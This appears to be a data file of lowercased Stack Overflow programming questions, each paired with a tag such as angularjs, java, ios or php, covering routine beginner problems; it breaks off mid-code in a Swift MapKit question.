angular loop through table row and check for checked checbox  i have a table that has a list from database with checkbox on each row  checkbox will used for ex. during deletion of the record.    so what i am trying to achieve is that when i clicked the delete button  angular will loop each row in table and check the checkbox whether is checked  if yes the please proceed to delete. dont have any idea how to do this. someone please give some related example.    here is my code    <strong>index.html</strong>   <pre><code>&lt;button class= ui red labeled icon button right floated  type= button  data-content= delete selected item(s)  id= delete  ng-click= deleteseleted() &gt;&lt;i class= trash icon &gt;&lt;/i&gt;delete&lt;/button&gt; &lt;div class= container-table &gt;  &lt;table class= ui fixed single line celled table striped sortable compact  style= width:2000px  id= mytable &gt;    &lt;thead&gt;      &lt;tr&gt;        &lt;th class= width-checkbox &gt;&lt;input type= checkbox  ng-model= matin.selectedall  /&gt;&lt;/th&gt;        &lt;th class= width-120 &gt;item&lt;/th&gt;      &lt;/tr&gt;    &lt;/thead&gt;    &lt;tbody&gt;      &lt;tr ng-repeat= x in data &gt;        &lt;td&gt;&lt;input type= checkbox  ng-checked= matin.selectedall &gt;&lt;/td&gt;        &lt;td&gt;{{x.item}}&lt;/td&gt;      &lt;/tr&gt;    &lt;/tbody&gt;  &lt;/table&gt; &lt;/div&gt; </code></pre>,angularjs
java unique number less then 12 characters  i have a user case which involves generating a number which a user enters into a website to link a transaction to their account.     so i have the following code which generates a random 12 digit number:   <pre><code>public string getredemptioncode(long utid  long userid) {            long nano = system.nanotime();           long temp = nano + utid + 1232;     long redemptioncode = temp + userid + 5465;          if (redemptioncode &lt; 0) {         redemptioncode = math.abs(redemptioncode);     }            string redemptioncodefinal = stringutils.rightpad(string.valueof(redemptioncode)  12   1 );     redemptioncodefinal = redemptioncodefinal.substring(0  12);     return redemptioncodefinal; } </code></pre>   this method takes in two params which are generated by a db.    what i need to understand is:   <ol> <li> is this random  i have a test which ran this method 1 million times and it always seem to be random. </li> <li> can i cut this down to 8 characters  </li> </ol>,java
how do i pass a string as a method parameter in objective-c   i am trying to write my first class in objective-c and i want to pass an nsstring object as a parameter in a method of the class  however i get an error saying that  can not use an object as parameter to a method . so my question is how do you pass a string as a parameter to a method  here is my code tht i am trying to get to work:   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface car {     nsstring *color;     nsstring *make;     int year; }      - (void) print; - (void) setcolor: (nsstring) c; - (void) setmake: (nsstring) m; - (void) setyear: (int) y;   @end  @implementation car  - (void) print {     nslog(@ the $d ford %@ is $@.   year  make  color); }  - (void) setcolor: (nsstring) c {     color=c; }  - (void) setmake: (nsstring) m {     make=m; }  - (void) setyear: (int) y {     year=y; }   @end    int main (int argc  const char * argv[]) {     nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];      car *car= [car new];      [car setcolor:@ blue ];     [car setmake:@ bronco ];     [car setyear:1992]      [car print];     [car release];      [pool drain];     return 0; } </code></pre>,objective-c
image embedded inside html  but with image data not inline  is there a ( newbie-simple ) way to embed an image inside html  however not in the inline form as usual:   <pre><code>&lt;img src= data:image/png;base64 ivborw0kggoaaaa [...]  /&gt; </code></pre>   but in a form where the base64 code is placed on the end of the html file     a possible benefit of this method would be that an image can be inserted in the page on more than one place using the same image data from the bottom of the html file.,html
mfmailcomposer send email without presenting view  i have created a sample iphone application   that sends an email to a particular user.the user address should be static.i am using mfmailcomposer class to send an email from iphone.its work fine.    now i want to send email to user without presenting mfmailcomposerview.can we programmatically presses the mfmailcomposer send button  .so it will automatically sends an email.    is this possible  if means how can i programmatically invoke the send button      plz help me     thanks in advance.....,iphone
how to remove space above of cell in tableview using navigation contoller in swift   when using navigation controller then give space above of cell (give dark color in image of tableview).    <a href= http://i.stack.imgur.com/ii6gw.png  rel= nofollow ><a href= http://i.stack.imgur.com/ii6gw.png  rel= nofollow >1</a></a>,ios
how to wrap text around multiple images in bootstrap   i am trying to display the video and image one by one on the right and text should be wrapped with this video and image. it is not working... image and video are being displayed side by side which is not expected   <pre><code>&lt;div class= container &gt;                  &lt;div class= row  &gt;                     &lt;div class= col-sm-12    &gt;                          &lt;div  style= float:right &gt;                              &lt;video  controls autoplay= on  autoplay loop controlslist= nodownload &gt;                              &lt;/video&gt;                              &lt;img src= thumbnail.png  width= 100   height= 100 &gt;                         &lt;/div&gt;                          &lt;p&gt;dummy text&lt;/p&gt;&lt;br&gt;&lt;br&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>,html
implementing of class with <t>  i want to implement like this:   <pre><code>namespace pimp.web.testforum.models {     public class threadmodel : pagedlist&lt;t&gt;     { </code></pre>   but i am getting errormessage:   <blockquote>    the type or namespace name  t  could not be found (are you missing a using directive or an assembly reference )  </blockquote>   what should i do to avoid it,c#
typeerror: $http.post(...).success is not a function  after clicking on register button the site is showing success is not a function error. its not getting registered because of it please help!    this is the error   <pre><code>    angular.js:14525 typeerror: $http.post(...).success is not a function     at b.$scope.register (chirpapp.js:63)     at fn (eval at compile (angular.js:15358)  &lt;anonymous&gt;:4:144)     at e (angular.js:26994)     at b.$eval (angular.js:18161)     at b.$apply (angular.js:18261)     at htmlformelement.&lt;anonymous&gt; (angular.js:26999)     at htmlformelement.dispatch (jquery.min.js:3)     at htmlformelement.q.handle (jquery.min.js:3) (anonymous) @ angular.js:14525 (anonymous) @ angular.js:11008 $apply @ angular.js:18266 (anonymous) @ angular.js:26999 dispatch @ jquery.min.js:3 q.handle @ jquery.min.js:3 </code></pre>   this is my app.js   <pre><code>var app = angular.module( chirpapp   [ ngroute ]).run(function($rootscope){      $rootscope.authenticated = false;   $rootscope.current_user =   ;  });   app.config(function($routeprovider){   $routeprovider     //the timeline display     .when( /   {       templateurl:  main.html         controller:  maincontroller      })     //the login display     .when( /login   {       templateurl:  login.html         controller:  authcontroller      })     //the signup display     .when( /register   {       templateurl:  register.html         controller:  authcontroller      }); });  app.controller( maincontroller   function ($scope) {     $scope.posts = [];     $scope.newpost = {         created_by:             text:             created_at:        };      $scope.post = function () {         $scope.newpost.created_at = date.now();         $scope.posts.push($scope.newpost);         $scope.newpost = {             created_by:                 text:                 created_at:            };     }; });  app.controller( authcontroller   function($scope  $http  $rootscope  $location){   $scope.user = {username:     password:   };   $scope.error_message =   ;    $scope.login = function(){     $http.post( /auth/login   $scope.user).success(function(data){       if(data.state ==  success ){         $rootscope.authenticated = true;         $rootscope.current_user = data.user.username;         $location.path( / );       }       else{         $scope.error_message = data.message;       }     });   };    $scope.register = function(){     $http.post( /auth/signup   $scope.user).success(function(data){       if(data.state ==  success ){         $rootscope.authenticated = true;         $rootscope.current_user = data.user.username;         $location.path( / );       }       else{         $scope.error_message = data.message;       }     });   }; }); </code></pre>   after clicking on register button the site is showing success is not a function error. its not getting registered because of it please help! ckech  authcontroller  the error is in register so it might be in $scope.register=function(...),angularjs
i have integrate cybersource payment gateway in ruby but i want integrate with rails  cybersource payment gateway integrate with ruby is working fine. but i want to integrate with ruby on rails. is it possible to integrate with ruby on rails,ruby-on-rails
join a column on a specific position (after a specific column)  for example select a.* b.3 from a join b     and i want the get the b.3 for example between a.5 and a.6     is it possible  or should i solve it on the php-side,mysql
type.gettype()  hashset<t> and assembly qualification  in resolving the question    <a href= https://stackoverflow.com/q/11680599/141172 >error loading asp.net profile</a>    i came across behavior of type.gettype(string typename) that i do not understand.    when getting the type of a <code>list&lt;int&gt;</code>  it is sufficient to specify the type as   <blockquote>    system.collections.generic.list`1[[system.int32]]  </blockquote>   however  for <code>hashset&lt;int&gt;</code>  i must specify a fully qualified type name like this   <blockquote>    system.collections.generic.hashset`1[[system.int32]]  system.core  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089  </blockquote>   if i leave out <strong>any</strong> of the assembly  version  culture  or public key token  the type is not resolved.    <strong>code to reproduce</strong>   <pre><code>// returns expected type: type tlistworks =       type.gettype( system.collections.generic.list`1[[system.int32]] );  // returns null: type thashsetnull =       type.gettype( system.collections.generic.hashset`1[[system.int32]] );  // returns expected type: type thashsetworks =       type.gettype( system.collections.generic.hashset`1[[system.int32]]  system.core  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089 );  // returns null (omitted culture): type thashsetnoculturefails =       type.gettype( system.collections.generic.hashset`1[[system.int32]]  system.core  version=4.0.0.0  publickeytoken=b77a5c561934e089 ); </code></pre>   <strong>questions</strong>   <ul> <li>why must i fully qualify <code>hashset&lt;t&gt;</code> but not <code>list&lt;t&gt;</code> </li> <li>given that the version qualification must be specified  what if the .net runtime is 3.5 (first one that had <code>hashset&lt;t&gt;</code>) or a later one such as .net 4.5   what if the runtime is something else entirely like silverlight or mono </li> </ul>,.net
not able to invoke a url with credentials  this is the url i am trying to invoke:    <pre><code>https://myapp.something.com/iamsmart.tfs/tfsdefects username=austinsan\mcs234&amp;password=houston456 </code></pre>   in my code i invoke it like this:    <pre><code> nsurlsession *session = [nsurlsession sharedsession];      [[session datataskwithurl:[nsurl urlwithstring:@ https://myapp.something.com/iamsmart.tfs/tfsdefects username=austinsan\\mcs234&amp;password=houston456 ] completionhandler:^(nsdata *data  nsurlresponse *response  nserror *error) {          id jsonobject = [nsjsonserialization jsonobjectwithdata:data options:nsjsonreadingallowfragments error:nil];        }]resume]; </code></pre>   for some reason i always get the jsonobject as nil. the only difference between the original url and my url is the extra  \  added due to escape characters.,ios
ios:image to string conversion  i want to develop a feature  wherein user can take a picture of a serial number which has printed in a product or any things  using native camera and then scan the picture to retrieve the serial number as a string in my ios program. i am not getting how to achieve this. could someone please guide me to solve this problem  i don t want to know the name of the product and all after taking the picture  i want to get the string of the serial number taken from the photo.    thanks in advance!,ios
keeping user logged in on a application for long time  i have a application  and i want the user to be logged in for long time  i.e cookies will not expire  when ever the customer log in he/she will find logged in on the application     so my question is  is it going to harm my server  will my server get crash or any other problem,.net
decrease the volume of sound played by audiotoolbox  if i play my sounds on the iphone on max ringer volume it plays fine but when i reduce it to some extend ma audiotoolbox sounds are playing at the same volume but my avaudioplayer sounds are playing fine. is there any way to decrease the volume of sounds played by audiotoolbox...,iphone
error while opening files in java  i have developed a system using java. i can save pdf  doc files etc. and they are saved in <code>jtable</code>. i want to open these files by clicking <code>jtable</code> row. if i try to open saved files in my local disks  they won t open. but i can open files on removable disk. please help me to solve this problem.    here is my code:    <pre><code> int row = jtable1.getselectedrow();           try {         string value = (jtable1.getmodel().getvalueat(row  2).tostring());              //  runtime.getruntime().exec( rundll32 url.dll fileprotocolhandler  + value);             runtime.getruntime().exec( rundll32 url.dll fileprotocolhandler   + value);           } catch (exception e) {             e.printstacktrace();          } </code></pre>   open file and get directory path:   <pre><code>try {      jfilechooser chooser = new jfilechooser();      chooser.setfileselectionmode(jfilechooser.files_only);     chooser.showopendialog(null);     file selectedpfile = chooser.getselectedfile();     jtextfield1.settext(selectedpfile.getabsolutepath());   } catch (exception e) {     e.printstacktrace(); } </code></pre>   save code:   <pre><code>try {              connection con = db.connect();              preparedstatement p = con.preparestatement( insert into documents values(    + jtextfield3.gettext() +       + jtextfield2.gettext() +        + jtextfield1.gettext() +   ) );              p.executeupdate();             p.close();              joptionpane.showmessagedialog(null   save success );           } catch (exception e) {             e.printstacktrace();          } </code></pre>   path saved in db <a href= https://i.stack.imgur.com/rpqhp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rpqhp.png  alt= enter image description here ></a>,java
nest html tags inside html  i am building a platform where people can send emails - to display a preview of the emails  i use a div below the form where they can type the message.    so the general structure looks like this:   <pre><code>&lt;html&gt;     &lt;body&gt;          &lt;form&gt;               &lt;!-- form to enter email here --&gt;          &lt;/form&gt;          &lt;div&gt;               &lt;!-- email preview here --&gt;               &lt;html&gt;                    &lt;!-- email content  updated everytime user types something ---&gt;               &lt;/html&gt;          &lt;/div&gt;     &lt;/bod&gt; &lt;/html&gt; </code></pre>   however  simply using the html tags inside the html document itself seems to confuse every browser - also  it doesn t seem very clean.    since the email that is sent will be a whole html document of its own  it would be the easiest to just put all that inside the div.    how can i do that in a valid  clean way,html
re-serving a sites javascript dynamically  i would like to dynamically load a javascript file and undo what was done with the static javascript i have on my site. the static javascript i want to edit is <code>document.getelementsbytagname( script )[3]</code>this is what im trying to do:  <code>document.getelementsbytagname( script )[3].attributes[2].value =  http://differentlocation.com/jsfile.js </code> the thing is when the source is altered i want all the other functions i had statically cached to go away. how is this possible     *reworded. the sites current javascript attaches event handlers and does all kinds of functions   i would like to make all of these go away. basically i am reloading a almost exact copy of the javascript and dont want certain handlers active. etc or is there a way to blank out all of the pages current javascript  just make it all useless  and then load my new javascript,javascript
how to clear the error in this code in php  <pre><code>    &lt; php             $phpcontent =  &lt; php              session_start();              include( ../conn.inc.php );             $id = $_session[ gameid ];              $select_content = mysql_query( select * from game_details where id= .$id);             $arr_content = mysql_fetch_array($select_content);             echo $arr_content[ name ];exit;         &gt;       ;          fwrite($phpfile  $phpcontent);         fclose($phpfile);  &gt; </code></pre>   in this code  i am selecting the datas from the database of a particular value of id stored in $id. the code in $phpcontent  i am writing it into a file it shows this error when i am opening that written file:   <blockquote>    warning: mysql_fetch_array() expects parameter 1 to be resource    boolean  </blockquote>   can anyone say how to eliminate this error     <pre><code>   conn.inc.php     &lt; php       error_reporting(e_all ^ e_deprecated);       $db_host =  localhost ;       $db_user =  root ;       $db_name =  pixo ;       $db_pwd =   mysql ;       $connection=mysql_connect($db_host  $db_user  $db_pwd);       mysql_select_db($db_name);         &gt; </code></pre>,php
append chosen image to div tag and display one by one using ng-repeat in onclick button angular js  how to append choose images one by one to div tag using using ng-repeat when i click add button after chosen file <code>&lt;input type= file &gt;</code> in angular js. i have tried code below:   <pre><code>&lt;body ng-app= myapp &gt;  &lt;div ng-controller= maincontroller &gt;     &lt;div&gt;         &lt;h3&gt;added images: {{addedimages()}}&lt;/h3&gt;     &lt;/div&gt;      &lt;div&gt;         &lt;input type= file  id= filename  ng-model= filename  name=  &gt;         &lt;button ng-click= test() &gt;add image&lt;/button&gt;         &lt;div class= shelfgallery &gt;&lt;/div&gt;     &lt;/div&gt;         &lt;/div&gt;  &lt;script&gt;     var app = angular.module( myapp   []);     app.controller( maincontroller   function($scope) {         $scope.imagesources=[];          $scope.test = function(){             var url =   //facing trouble in getting full url of choosen image              alert(url);             $scope.imagesources.push({                 imges: $scope.filename             });             var element = angular.element($( .shelfgallery ));             element.append( &lt;img id= img_11  ng-repeat= imagesource in imagesources track by $index  ng-src= {{imagesource }}  /&gt;&lt;br&gt;&lt;br&gt; );             //$compile(element)($scope);         };          $scope.addedimages = function(){             return $scope.imagesources.length;         }      }); &lt;/script&gt;  &lt;/body&gt; </code></pre>   if any wrong here let me know  or any other solution.,angularjs
what do square brackets   []   mean in function/class documentation   i am having trouble figuring out the arguments to csv.dictreader and realized i have no clue what the square brackets signify.    from the docmentation:   <pre><code>class csv.dictreader(csvfile[  fieldnames=none[  restkey=none[  restval=none[  dialect= excel [  *args  **kwds]]]]]) </code></pre>   i d appreciate a summary of the arguments to the class instantiation.    thanks,python
does size of int variable depend on architecture or compiler   for example  i have an processor with 64-bit registers. can it be 2 different compilers: one with size of int equals 32-bit and another with size of int equals 16-bit,c
angularjs and nesting directives  i want to create a directive that roughly represents a table.  also i want to create a directive that defines the columns in that table.  the table directive ng-repeats on the tr and displays the custom columns per row.    i m pretty new to angular.  any help would be appreciated  here is the code and jsfiddle link.    as you can see from the fiddle this doesn t work yet.    <a href= http://jsfiddle.net/p6nq4/  rel= nofollow >http://jsfiddle.net/p6nq4/</a>    html:   <pre><code>&lt;div ng-app= myapp  ng-controller= mycontroller &gt;     table of people:     &lt;my-table&gt;         &lt;my-td my-data-name= name &gt;&lt;/my-td&gt;         &lt;my-td my-data-name= description &gt;&lt;/my-td&gt;     &lt;/my-table&gt;     &lt;button&gt;done&lt;/button&gt; &lt;/div&gt; </code></pre>   javascript:   <pre><code>angular.module( myapp   []) .controller( mycontroller  function($scope){     $scope.items = [{name:  john   description:  awesome }                      {name:  pat   description:  ambiguous }]; }) .directive( mytable   function(){     return {         link: function(scope element attrs){         }          transclude:true          template:  &lt;table&gt;&lt;tr ng-repeat= item in items  ng-transclude&gt;                      + &lt;td&gt;static column at the end&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;      }; }).directive( mytd   function(){     return {         link: function (scope element attrs){             scope.data = attrs.mydataname;         }          template:  &lt;td&gt;&lt;input ngmodel= eval(\ item.\  + data)  /&gt;&lt;/td&gt;      }}); </code></pre>,angularjs
calculate index from row and column  i want to calculate an index (base 0) for any given row and column where rows and columns are base 1 and the number of columns is known  e.g 2    if max_columns is 2 and index is 5  then to calculate row number from an index:   <pre><code>    row = (index % max_columns) + (int)(index / max_columns)         = (5 % 2) + (int)(5 / 2)         = 1 + 2         = 3  </code></pre>   to calculate column number from index   <pre><code>    col = max_columns - (index % max_columns)         = 2 - (5 % 2)         = 2 - 1         = 1 </code></pre>   question is how to calculate row and column from any index where the index is base 0.  this is to calculate an index into an array in a java application.    the correct solution for me as supplied by  willem van onsem     where row is 3  col is 2 and max_columns is 2:   <pre><code>    index = (row * max_columns) + col - max_columns - 1           = (3 * 2) + 2 - 2 - 1           = 6 + (-1)           = 5 </code></pre>,java
css select multiple :last-of-type  is it possible to target the two containers with the text  highlight me  below with just css    <pre><code>&lt;div class= content &gt;     &lt;div class= product &gt;bla&lt;/div&gt;         &lt;div class= product &gt;bla&lt;/div&gt;         &lt;div class= product &gt;highlight me!&lt;/div&gt;     &lt;div class= more &gt;         &lt;div class= product &gt;bla&lt;/div&gt;             &lt;div class= product &gt;bla&lt;/div&gt;             &lt;div class= product &gt;highlight me!&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   i ve tried it with <code>.product:last-of-type</code> but this only targets the nested element.    <strong>important: i don t want to target the  highlight me  containers with <code>:nth-child</code> as the number can vary.</strong>    <a href= http://jsfiddle.net/ds4ly/  rel= nofollow >jsfiddle</a>,css
cast or create obj1 from obj2 where obj1 and obj2 extends same abstract class  for example i have:   <pre><code>public abstract class someabstract {   private int a;   private int b;   ..   private int z; }  public class a extends someabstract {   private string afield; }  public class b extends someabstract {   private long bfield; } </code></pre>   (default constructors/setters/getters are omitted)        i have some instance of a class a and i wanna create  instance of a class b from a(abstract fields).    yes  i can use abstract class constructor or create constructor for class b like this :   <pre><code>public b(a a) {   this.a = a.geta();   this.b = a.getb();   ..   this.z = a.getz();  } </code></pre>   but since i have many fields this does not look nice and convenient is there another way,java
how to add a field name as variable in django   is it possible to pass in the field name instead of the hardcoded  last_name     <pre><code>for item in queryset:     to_json.append(item.last_name) </code></pre>,python
how to find string name on array and show all  when i code for some program i found error on section <strong>array.find</strong><br> its say <strong>try the specifying arguments explicitly</strong>   <pre><code>int x; string[] b = new string[5]; b[0] =  tukul ; b[1] =  dedy ; b[2] =  aldi ; b[3] =  anang ; b[4] =  aconk ; console.writeline(b[0] +     + b[1] +     + b[2] +     + b[3] +     + b[4]); console.writeline( masukan huruf awal yang ingin dicari :  ); string nama = console.readline(); console.clear(); console.writeline( nama yang ditemukan !! ); for (x = 0; x &lt; 5; x++) {     string apa = array.findall(b[x]  element =&gt; element.startswith(nama  stringcomparison.ordinalignorecase));     console.writeline(  .padleft(10   = ));     console.writeline(apa);     console.writeline(  .padleft(10   = )); } </code></pre>,c#
iphone-uiview-background  i am new to iphone development.  i have one xib file  the login page (a form).    now i want to set the <code>uiview</code> background image.    when i supply an image from interface builder then there is no effect  and when i set it from the code then also no effect.   <pre><code>self.view.backgroundcolor = [uicolor colorwithpatternimage:                                     [uiimage imagenamed:@ srk_ipad_homepg.png ]]; </code></pre>   i don t want to use a <code>uiimageview</code> because when i place an image  all my controls are hidden behind the <code>uiview</code>.,iphone
how static integer variable in java assign default zero  my question is: how to assign <em>default zero</em> to an static integer variable     this is my code:   <pre><code>class point {     static int i;     public static void main(string[] args) {        system.out.println(   + i);     } } </code></pre>   the output must be:    <code>0</code>,java
adding zeros in front of a string in objective-c  how to add zeros in front of a string in objective-c so that the length of the new string will be equal to a specific value  for example  if the specific length is 6     <pre><code>  1 --&gt; 000001  12 --&gt; 000012 123 --&gt; 000123 ... </code></pre>   besides  i don t want to use loops. more elegant  more pleasure.,objective-c
how can i use the mono in windows7  i can use mono in windows 7 for developing applications for linux(ubuntu ...). what i have to do ...,c#
difference between in-front type conversion and  as  conversion <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2483/casting-newtype-vs-object-as-newtype >casting: (newtype) vs. object as newtype</a><br>   <a href= https://stackoverflow.com/questions/496096/casting-vs-using-the-as-keyword-in-the-clr >casting vs using the &#39;as&#39; keyword in the clr</a>    </blockquote>     what is the difference between these 2 types of conversion(as i ve seen  they don t work both all the time) :   <pre><code>classa a = (classa)someclassobject; </code></pre>   and    <pre><code>classa a = someclassobject as classa </code></pre>,.net
how can i pass between controllers in same module   in module named <code>eventdetails</code> i have two controllers <code>attachedfileslist</code> and <code>eventdetailsctrl</code>.    i need to pass string value from <code>eventdetailsctrl</code> controller to  attachedfileslist controller.    how can i pass between controllers in same module,angularjs
round integer variable into x amount of digits  i have:   <pre><code>$int = 11487171; </code></pre>   i want to round it to the first 3 digits  making it <code>115</code>. what s the php function to do this  apologies for entry level question.,php
android where to put scroll when i want to add element programmatically  i want to build a screen for user to get his marks on competitions  the screen will have may row  each row for one competition  where have i to put scroll in my layout and how     <pre><code>&lt;framelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= fill_parent      android:layout_height= fill_parent  &gt;      &lt;tablelayout         android:id= @+id/ll1          android:layout_width= fill_parent          android:layout_height= fill_parent  &gt;              &lt;tablerow             android:id= @+id/tablerow1              android:layout_width= fill_parent              android:layout_height= wrap_content              android:padding= 5dip              android:weightsum= 2  &gt;               &lt;textview                 android:id= @+id/tvmarkscompetitionid                  android:layout_weight= 1                  android:text= competition                  android:textappearance=  android:attr/textappearancemedium  /&gt;               &lt;textview                 android:id= @+id/tvmarksmarks                  android:layout_weight= 1                  android:text= marks                  android:textappearance=  android:attr/textappearancemedium  /&gt;               &lt;textview                 android:id= @+id/tvmarksquestionsnum                  android:layout_weight= 1                  android:text= questions                  android:textappearance=  android:attr/textappearancemedium  /&gt;         &lt;/tablerow&gt;     &lt;/tablelayout&gt;  &lt;/framelayout&gt; </code></pre>   and please would you give me a nice layout for that three textviews :) i am new to android,android
c programming involving files and structures  how to read a negative number from a file using fgetc,c
signal always ends program  doing homework with signals and fork and have a problem with the signal.    i ve created the function:   <pre><code>void trata_sinal_int() {     char op[2];      printf( \nterminate  (y/n)\n );      scanf( %s   op);      if (op[0] ==  y ) {         printf( bye bye\n );         exit(0);     }  } </code></pre>   and in main i have:   <pre><code>signal(sigint  trata_sinal_int); </code></pre>   when i run this  and press <code>ctrl ^c</code> the function <code>void trata_sinal_int()</code> is called and i got the message.    if i press <code>y</code> program ends as expected but if i press <code>n</code> program still ends. it is not returning to were he was before pressing <code>ctrl ^c</code>.    is this supposed to happen,c
infinite commas after insertion sort in js  i don t know why infinite commas  are printed while executing insertion sort in javascript. so i can t run it in browser  though i tested it in jsbin  link is <a href= http://jsbin.com/edopugug/2/edit  rel= nofollow >here.</a>   <pre><code>var ids = [3  4  8  5  33  56  23  67  231  12  43  50]; var j  i; for (j = 2; j &lt;= ids.length; j++) {     var selectn = ids[j];     i = j - 1;     while (i &gt; 1 &amp;&amp; ids[i] &gt; selectn) {         ids[i + 1] = ids[i];         i = i - 1;     }     ids[i + 1] = selectn; } </code></pre>   please tell why it is so  and how i can correct it,javascript
facebook share thumbnail as part of a page  alright so is it possible to share certain div element as a facebook thumbnail  lets say i have some post on my website and i want to show some page content instead of a picture on facebook thumbnail,html
how to convert message to cipher message  <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     string message;     cout &lt;&lt;  ahlan ya user ya habibi.  &lt;&lt;endl;      cout &lt;&lt; what do you like to do today   &lt;&lt;endl;     cout &lt;&lt; please enter the message:  &lt;&lt;endl;     getline(cin message);      for(int i=0;i&lt;message.size();i++)     {         if(string(message[i]==32))         {             cout&lt;&lt;char(message[i]);         }         else if(string( message[i])&gt;=110)         {             int x = int(message[i])-13;             cout&lt;&lt;char(x);         }         else         {             int x = string (message[i])+13;             cout&lt;&lt;char(x);         }     }     return 0; } </code></pre>  <blockquote>    e:\my programe\quiz\main.cpp|20|error: no matching function for call to  std::__cxx11::basic_string&lt;char>::basic_string(char&amp;) |        e:\my programe\quiz\main.cpp|20|error: invalid conversion from  char  to  const char*  [-fpermissive]|        e:\my programe\quiz\main.cpp|27|error: no matching function for call to  std::__cxx11::basic_string&lt;char>::basic_string(char&amp;) |        e:\my programe\quiz\main.cpp|27|error: invalid conversion from  char  to  const char*  [-fpermissive]|  </blockquote>,c++
document object in javascript  i m newbie in javascript and want to ask a base question. when <code>document</code> is creating and what s the lifecycle of this object  as i understood  document is a client-side object. is it true  when <code>document</code> is destroy by garbage collector,javascript
.net installs but framework not found in folder  i just installed .net 4.6.1  and the installer completed successfully.  according to the add/remove programs dialog  i have .net 4.6.1 is installed (more precisely 4.6.01055).      however  in the <code>c:\windows\microsoft.net\framework</code> and <code>framework64</code> folders  the most recent version is 4.0.30319.  this is also the only one recognised by my app if i give it a <code>my_app.exe.config</code> file forcing it to use a specific .net version.    where has version 4.6.1 gone and how can i get my app to use it,.net
have got an error with a max <pre><code>import java.util.random;  import java.util.scanner;  class apples {      public static void main(string[] args){      random rand = new random();      scanner sc = new scanner(system.in);      int freq[] = new int[7];      for (int roll=1;roll&lt;=10000;roll++){          ++freq[1+rand.nextint(6)];      }      system.out.println( so much money at stake make a right decision!\nwhat are betting on  );      int input= sc.nextint();      int comparison=max(freq[1] freq[2] freq[3] freq[4] freq[5] freq[6] freq[7]);      if(input==comparison){          system.out.println( you won );      }else {          system.out.println( whoops you lost all your money );      }  }  private static int max(int i  int j  int k  int l  int m  int n  int o) {      // todo auto-generated method stub      return 0;  } </code></pre>,java
how to draw lines circles in a tableview  i need some drawings in my tableview. how can i do this. any help will be greatly appreciated!!,iphone
naming the ios application with ++ characters  i have build an application which is called  mystuff++ . the  ++  is part of the name. i can easily run the application on my device and the simulator but when i try to upload the application to the app store it complains about the executable_name which is set to  mystuff++ . what can i do to solve this issue     here is the actual error:     <a href= https://i.stack.imgur.com/hv0aq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hv0aq.png  alt= enter image description here ></a>,ios
something like tryparse from convert.frombase64string  is there any tryparse for <code>convert.frombase64string</code> or we just count the character if it is equal 64 character or not.    i copy a encryption and decryption class  but there is an error on the following line.  i want to check whether or not the <code>ciphertext</code> can be converted without error   <pre><code>byte[] bytes = convert.frombase64string(ciphertext); </code></pre>,.net
what s the meaning of the code snippet about objective-c <pre><code>nsautoreleasepool *pool=[[nsautoreleasepool alloc] init]; </code></pre>   i want to know the meaning of this sentence and how to use it.    my programming environment is established by gnu gcc under win7.,objective-c
$routeprovider is not working properly in angularjs  var app = angular.module( taskapp   []);   <pre><code>app.config([ $routeprovider    $locationprovider   function ($routeprovider  $locationprovider) {     $routeprovider.when( /home   {         templateurl:  /home/index           controller:  indexcontroller      });      $locationprovider.html5mode(true);     //$locationprovider.hashprefix(  );  }]); </code></pre>   this code is not working properly  when i remove $routeprovider all reference it work properly but i need $routeprovider how i solve it,angularjs
custom an annotation view image direferents  i have a custom class where i can add the variable  type  which distinguishes that type  this is the option to change the icon  but i have no idea where i can make that change icon  i have tried to do in the method mapview without getting an outcome     import uikit        import coredata         import mapkit   <pre><code>    class mkannotationcostum: nsobject  mkannotation{          var coordinate :  cllocationcoordinate2d         var title :  string          var subtitle :  string          var tipo:string          var image: uiimage           init ( coordinate :  cllocationcoordinate2d   title :  string   subtitle :  string  tipo:string )  {             self.coordinate = coordinate             self.title = title             self.subtitle = subtitle             self.tipo = tipo         }     } </code></pre>   i want get a image direferent depending for tipo   <pre><code>import uikit import mapkit import coredata  class threeviewcontroller: uiviewcontroller mkmapviewdelegate {      @iboutlet weak var mymap: mkmapview!      override func viewdidload() {         super.viewdidload()             //viewdidappear(true)             mymap.delegate =  self         }     override func viewdidappear(animated: bool) {       super.viewdidappear(animated)           let request =  nsfetchrequest(entityname:  punto )         if let results = try  context.executefetchrequest(request) {             for resultado in results {                  let latitud:cllocationdegrees = double(resultado.valueforkey( puntolatitud ) as! nsnumber)                 let longitud:cllocationdegrees = double(resultado.valueforkey( puntolongitud ) as! nsnumber)                  let latedelta:cllocationdegrees = 0.01                 let longdelta:cllocationdegrees = 0.01                  let span: mkcoordinatespan = mkcoordinatespanmake(latedelta  longdelta)                 let location:  cllocationcoordinate2d = cllocationcoordinate2dmake(latitud longitud)                  let region:mkcoordinateregion = mkcoordinateregionmake(location  span)                   mymap.setregion(region  animated: true)                  let pointannotation = mkannotationcostum(coordinate: location  title: resultado.valueforkey( puntodireccion ) as! string  subtitle:  latitud: \(resultado.valueforkey( puntolatitud )!)  longitud: \(resultado.valueforkey( puntolongitud )!)    tipo:resultado.valueforkey( clasid ) as! string)  //                pointannotation.coordinate = location //                pointannotation.title  =  string(resultado.valueforkey( puntodireccion )!) //                pointannotation.subtitle = string( latitud: \(resultado.valueforkey( puntolatitud )!)  longitud: \(resultado.valueforkey( puntolongitud )!)  )                 print( color: \(pointannotation.tipo) )                     mymap.addannotation(pointannotation)                   //mapview(mymap  viewforannotation: pointannotation)             }         }         mymap.showsuserlocation = true     }      func mapview(mapaview: mkmapview  viewforannotation anotacion: mkannotation) -&gt; mkannotationview  {          if !(anotacion is mkannotationcostum) {              let reusarid =  anotacion               var anotacionview = mapaview.dequeuereusableannotationviewwithidentifier(reusarid)             if anotacionview == nil {                 anotacionview = mkannotationview(annotation: anotacion  reuseidentifier: reusarid)                  anotacionview!.canshowcallout = true                 anotacionview!.leftcalloutaccessoryview = uiimageview(image: uiimage(named:  amarillo ))             }             else {                 